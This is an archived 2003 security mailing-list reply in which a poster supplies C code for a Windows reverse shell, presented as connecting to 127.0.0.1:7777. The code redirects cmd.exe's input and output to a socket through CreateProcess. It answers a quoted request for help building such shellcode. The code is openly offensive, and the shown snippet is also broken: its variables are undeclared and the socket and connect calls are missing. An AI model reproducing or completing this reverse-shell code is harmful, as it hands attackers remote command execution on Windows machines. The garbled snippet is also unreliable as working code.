|
|||||||||||
|
Re: Windows reverse Shell
From: 3APA3A <3APA3A(at)SECURITY.NNOV.RU>
Date: Tue Feb 04 2003 - 11:34:56 EST Dear NetNinja, Code below successfully brings reverse shell to 127.0.0.1:7777. #include <windows.h>
int main(int argc, char* argv[]){
memset(&sin, 0, sizeof(sin));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = sock;
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
0,
0,
NULL,
&si,
&pi
); return 0; } --Monday, February 3, 2003, 10:37:45 PM, you wrote to vuln-dev@securityfocus.com: N> Hello guys, N> David Litchfield in his Blackhat talk, talked about using socket handle N> from WSASocket() and pass that handle as a parameter to stdin, stdout N> and stderr for CreateProcess function. By doin this way his reverse N> cmd shellcode becomes much smaller. I tried coding that reverse N> command shell in C, but couldnt get it to work. It simply connects to N> my listening netcat listener and then disconnects. David Litchfield N> used 4 functions to achieva that WSASocket, bind, connect and N> CreateProcess. A lil help would b appreciated on building this reverse N> cmd shell. thanx. -- ~/ZARAZA Почтенные ископаемые! Жду от вас дальнейших писем. (Твен)Received on Tue Feb 4 12:38:48 2003 This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:37 EDT |
||||||||||
|
|||||||||||